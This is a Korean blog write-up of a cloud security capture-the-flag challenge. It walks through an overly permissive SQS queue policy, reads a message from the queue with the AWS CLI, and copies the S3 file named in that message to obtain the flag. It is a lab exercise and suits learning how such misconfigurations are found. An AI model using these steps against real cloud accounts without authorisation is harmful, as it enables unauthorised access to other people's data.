[AWS] BIG IAM Challenge 02 Write-UP

marceline·2025년 1월 6일
0

[Cloud]

목록 보기
4/7

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

위 소스코드는 Amazon SQS 리소스에 대한 접근권한을 정의하고 있다.

권한을 요약하자면,
-> 모든 사용자/서비스에 대해서 sqs:SendMessage (메시지 전송), sqs:ReceiveMessage (메시지 수신) Allow 상태

따라서, aws sqs receive-message 명령어를 통해서 SQS 대기열에서 메시지를 가져와보도록 했다.

  • 이때 필요한건?
    --queue-url 명령어
    • 메시지 수신할 SQS 대기열의 URL 지정
    • 여기서는
      https://sqs.us-east-1.amazonaws.com/092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2 이다.

> aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374:wiz-tb
ic-analytics-sqs-queue-ca7a1b2

An error occurred (AWS.SimpleQueueService.NonExistentQueue) when calling the ReceiveMessage o
peration: The specified queue does not exist for this wsdl version.

But 오류 발생.

https://sqs.us-east-1.amazonaws.com/092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2

이번에도 ARN 형식이 아니라 Protocol 형식으로 써야하는 것 같다

: 를 / 로 수정해야하고 아래와 같이 다시 시도했다.

> aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
{
    "Messages": [
        {
            "MessageId": "2efc50cb-17e0-40a1-874e-abb60cb6a4c6",
            "ReceiptHandle": "AQEBj07T6xCszBCsHaRCkD/Y3of0UHBAHPHduVgoGvLhDHKgcmfxBcEGFtMYVpqhaGOtIO7WRbOJY9Hpjv1i1kjHKCPyUZdofOCFYVL7
JlCiTWVaaiP9vsoJy0RNgZyPASbn3IFAVPi0vJAdouKTLJHxJlWkLB7gNsAmu+RtWg97xNUvNhS1mzdM1FP4Zn/nAAtie0w+DjnCtLG0ELVDnt6X9Y22UK8VZ8s3lc0zFlFfnb
1Bdwf4a7+Q4S/BkVkaWSI/xY7z67mJvKqVNsEwcloqvTXAF+fqcacqK/PHieHsjH00wtRyAkkA6uJ0VM3TxqtyVm8Cd8wZaOZZMbTJY/E+KhY4mZizx9zNetO6ydo0MjsfIsPu
b1Hgsr1GPUdVTeICBRePUMWiP9/nuEi5pEqBi4dn4m47mBYnwZ8SmRPU/yg=",
            "MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd",
            "Body": "{\"URL\": \"https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/
2.5329.3258dev.35046 libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\": true}"
        }
    ]
}

"MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd" 가 Body 의 MD5 해시 값이다.

  • MD50fBody 메시지 전송되는 동안 데이터 변경/손상 유무 확인 용 실제 전송되는 데이터와는 관련이 없다.

실제 데이터는 아래에서 확인할 수 있다.

"Body": "{\"URL\": \"https://tbic-wiz-analytics-bucketb44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.3258dev.35046 libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\": true}"

  • 메시지 보내기! aws sqs send-message 명령어를 사용하여 아래 형식으로 전송하면 된다.

```json
> aws sqs send-message \
    --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-
ca7a1b2  --message-body "This is a test message."
{
    "MD5OfMessageBody": "f8900247f0d5874f453318549411c6fa",
    "MessageId": "eca84661-50c1-45cf-9405-c8f413c0044d"
}
```

별 소득은 없었다,, 그러나, 아래에 보면!

"https://tbic-wiz-analytics-bucketb44867f.s3.amazonaws.com/pAXCWLa6ql.html\"

잘보면 s3 url 이라는 것을 알 수 있다.

→ 즉, S3 버킷의 특정 HTML 파일(pAXCWLa6ql.html)에 대한 URL 이라는 뜻이다.

이 html 파일을 S3 cp 했던 방식대로 한번 복사하게 된다면, 아래와같이 플래그를 얻을 수 있다.

> aws s3 cp s3://tbic-wiz-analytics-bucket-b44867f/pAXCWLa6ql.html /tmp/temp.html
Completed 40 Bytes/40 Bytes (410 Bytes/s) with 1 file(s) remainingdownload: s3://tbic-wiz-anal
ytics-bucket-b44867f/pAXCWLa6ql.html to ../../tmp/temp.html

cat /tmp/temp.html

{wiz:you-are-at-the-front-of-the-queue}

0개의 댓글